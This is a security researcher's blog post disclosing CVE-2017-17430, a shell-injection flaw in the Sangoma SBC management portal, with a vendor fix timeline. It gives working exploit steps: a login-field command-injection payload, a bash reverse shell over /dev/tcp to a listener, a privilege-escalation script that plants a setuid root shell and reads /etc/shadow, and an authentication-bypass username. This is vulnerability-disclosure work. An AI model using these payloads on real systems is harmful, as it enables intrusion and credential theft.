Sangoma SBC Remote Command Execution — CVE-2017–17430

Abhisek Datta
Appsecco
Published in
5 min readMay 17, 2018

--

Photo by Jose Martinez on Unsplash

0days are cool. They are much cooler when they are used to pwn an entire organisation. This post is about a bug we uncovered in the Sangoma SBC web portal during a BlackBox Penetration Test that allowed complete root access to the SBC box and gave us visibility (literally) into the entire network hidden from the Internet!

The clock ticked a lazy 2 in the afternoon. Our chief attacker, Bob (let’s call him Bob) was getting restless. This penetration test was unlike any other. He had spent several hours running port scans and poking around the only web application that was visible to the outside world. But to no avail. The application was the login interface to a product called Sangoma Session Border Controller. Being a BlackBox meant that no credentials were provided which meant that gaining access to the system meant discovering an authentication flaw or a way to leak additional information that could be used as a foothold for additional attacks.

Bob, stood up and stretched. Maybe some fresh air would do some good. Gathering your thoughts often meant brainstorming with the rest of the team. At the end of the break, a plan was formulated. Maybe an inspection of a local setup of the product could yield something. Given that this was a time boxed BlackBox assessment, auditing the entire platform may not result in anything. As such, it was decided to focus on the authentication section of the product.

A local instance was setup using a freely available installable ISO from the vendor’s website. While the rest of the team hammered away at the local setup, our chief attacker continued to poke around the rest of the Internet facing services.

Product Overview

The vendor describes Sangoma SBC as being able to protect “both your data and voice network and is designed to handle every aspect of phone calls that travel over the internet (or voice-over-ip phone calls)”. To the user, an authentication page is presented which reduces the attack surface almost to zero as you cannot proceed without valid credentials.

Getting started

The local instance of the SBC turned out to be a goldmine of security flaws. Here’s a rundown of the internals and some of the weaknesses that were discovered.

The SBC management web app heavily depends on external cli tools for various operation such as

  1. Authentication
  2. User Management
  3. System Management
  4. Other misc functionality

A set of command line utilities available for higher privilege execution by PHP script over the web were found at:

# cat /etc/sudoers /etc/sudoers.d/app-sng-cluster[...]webconfig ALL=NOPASSWD: /usr/local/sng/bin/sng-uuid-generate
webconfig ALL=NOPASSWD: /usr/local/sng/bin/sng-ckey-create
webconfig ALL=NOPASSWD: /usr/local/sng/bin/sng-ckey-register
webconfig ALL=NOPASSWD: /usr/local/sng/bin/sng-cluster-configure
webconfig ALL=NOPASSWD: /usr/local/sng/bin/sng-cluster-synchronize
webconfig ALL=NOPASSWD: /usr/local/sng/bin/sng-cluster-tool
ha ALL=NOPASSWD: /usr/local/sng/bin/sng-ckey-register
ha ALL=NOPASSWD: /usr/local/sng/bin/sng-cluster-tool
ha ALL=NOPASSWD: /usr/local/sng/bin/sng-cluster-synchronize
ha ALL=NOPASSWD: /sbin/service
ha ALL=NOPASSWD: /sbin/chkconfig
[...]

Each of the custom CLI tools individually could pose a security risk as they can be invoked remotely with partial control over their arguments. Among these scripts, the most interesting one was the user management script due to the fact that any vulnerability in this script would allow us to bypass authentication and login in to the application. Which would essentially mean access to data for us. It was also discovered that this script had weak file permissions which could be leveraged for a local privilege escalation.

# cat /etc/sudoers | grep user-mgmt
webconfig ALL=NOPASSWD: /usr/local/sng/bin/sng-user-mgmt
# ls -al /usr/local/sng/bin/sng-user-mgmt
-rwxrwxrwx. 1 root root 16363 Nov 3 18:34 /usr/local/sng/bin/sng-user-mgmt

So where was the vulnerability?

It was discovered that the ShellExec class implemented in api/ShellExec.class.php was used extensively by various PHP scripts in the management web application to invoke external command line programs. The Execute method in this class invoked external programs, optionally with sudo for privileged execution. Unfortunately, this method does not implement any input validation or parameter escaping which can be exploited to inject and execute arbitrary shell commands.

During the research, we exploited the login functionality in the web app to inject and execute arbitrary shell commands when /usr/local/sng/bin/sng-user-mgmt was invoked to verify provided credentials.

Example payload during login:

username: a;echo A > /tmp/test.txt;
password: anything

This results in creation of /tmp/test.txt on the server. A reverse shell can be obtained by using following payload as part of the username parameter:

a;bash -i >& /dev/tcp/192.168.1.100/9999 0>&1;

Netcat listener setup to receive connect back shell:

$ nc -l 9999
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
bash-4.1$ id
id
uid=499(webconfig) gid=499(webconfig) groups=499(webconfig)

Privilege Escalation

The script at `/usr/local/sng/bin/sng-user-mgmt` can be executed with higher privilege by `webconfig` user due to `sudoers` config. However the script has an insecure world writable permission

# cat /etc/sudoers | grep sng-user-mgmt
webconfig ALL=NOPASSWD: /usr/local/sng/bin/sng-user-mgmt
# ls -al /usr/local/sng/bin/sng-user-mgmt
-rwxrwxrwx. 1 root root 16363 Dec 5 01:07 /usr/local/sng/bin/sng-user-mgmt

This can be exploited by a local user with `webconfig` privileges to execute command with `sudo` indirectly through the `sng-user-mgmt` script to gain higher privilege.

Following script can be executed through reverse shell obtained earlier to exploit this weakness for root privilege

cp /usr/local/sng/bin/sng-user-mgmt /tmp/sng-user-mgmt
echo '#!/usr/bin/python' > /usr/local/sng/bin/sng-user-mgmt
echo 'import subprocess;subprocess.call("cp /bin/bash /tmp/bash &&
chmod 4755 /tmp/bash", shell=True)' >> /usr/local/sng/bin/sng-user-mgmt
sudo /usr/local/sng/bin/sng-user-mgmt
cp /tmp/sng-user-mgmt /usr/local/sng/bin/sng-user-mgmt

Gain root shell

bash-4.1$ /tmp/bash -p
/tmp/bash -p
id
uid=499(webconfig) gid=499(webconfig) euid=0(root) groups=0(root),499(webconfig)
head -n 1 /etc/shadow
root:$1$ko/f5cm1..

There are other privilege escalation vectors as well due to insecure `sudoers` configuration such as reading hashes for `root` password from `/etc/shadow`

Authentication Bypass

The management web application authenticates user using the command line python script available at:

/usr/local/sng/bin/sng-user-mgmt

This script can perform various user management operation. For authentication, the web app invokes the script with parameters as below

/usr/bin/sudo /usr/local/sng/bin/sng-user-mgmt  --action=login --user=ha --encrypted-password="<ENCPASS>" 2>&1

The PHP script at `gui/Webconfig.inc.php` expects the above script to return `0` on successful login:

1197  $shell = new ShellExec();
1198 $cmd = '/usr/local/sng/bin/sng-user-mgmt';
[...]1204 $args =' --action=login --user='.$username.' --encrypted-password="' . $string.'"';
1205 $rc = $shell->Execute($cmd, $args, true, array('log'));
1206 if(0 == $rc){
[...]1217 $_SESSION['user_login'] = $username;
1218 $_SESSION['system_login'] = "root";
1219 WebSetSessionAuthenticated();
1220 return true;

The `Execute` method of `ShellExec` class used to invoke the external script does not perform any input validation or escape shell characters from arguments before invoking external commands. This can be exploited to force the script to return an exit value of `0` by supplying following credentials

username: ha|echo
password: anything

The above credentials invokes the login script as below

/usr/bin/sudo /usr/local/sng/bin/sng-user-mgmt --action=login --user=ha|echo --encrypted-password="<pass>" 2>&1

Which in turn results in successful authentication

# /usr/local/sng/bin/sng-user-mgmt --action=login --user=ha
User "ha" is system user "High Availability"

Versions Tested

  • 2.3.11–78 (GA)

Timeline

  • Discovered and reported on 05/12/2017
  • Confirmation from vendor on 06/12/2017
  • Fixed version (2.3.12) released on 07/12/2017
  • Public disclosure on TBD

References

--

--

Security Researcher | Security Engineering | Personal tweets @abh1sek | Workshop https://github.com/abhisek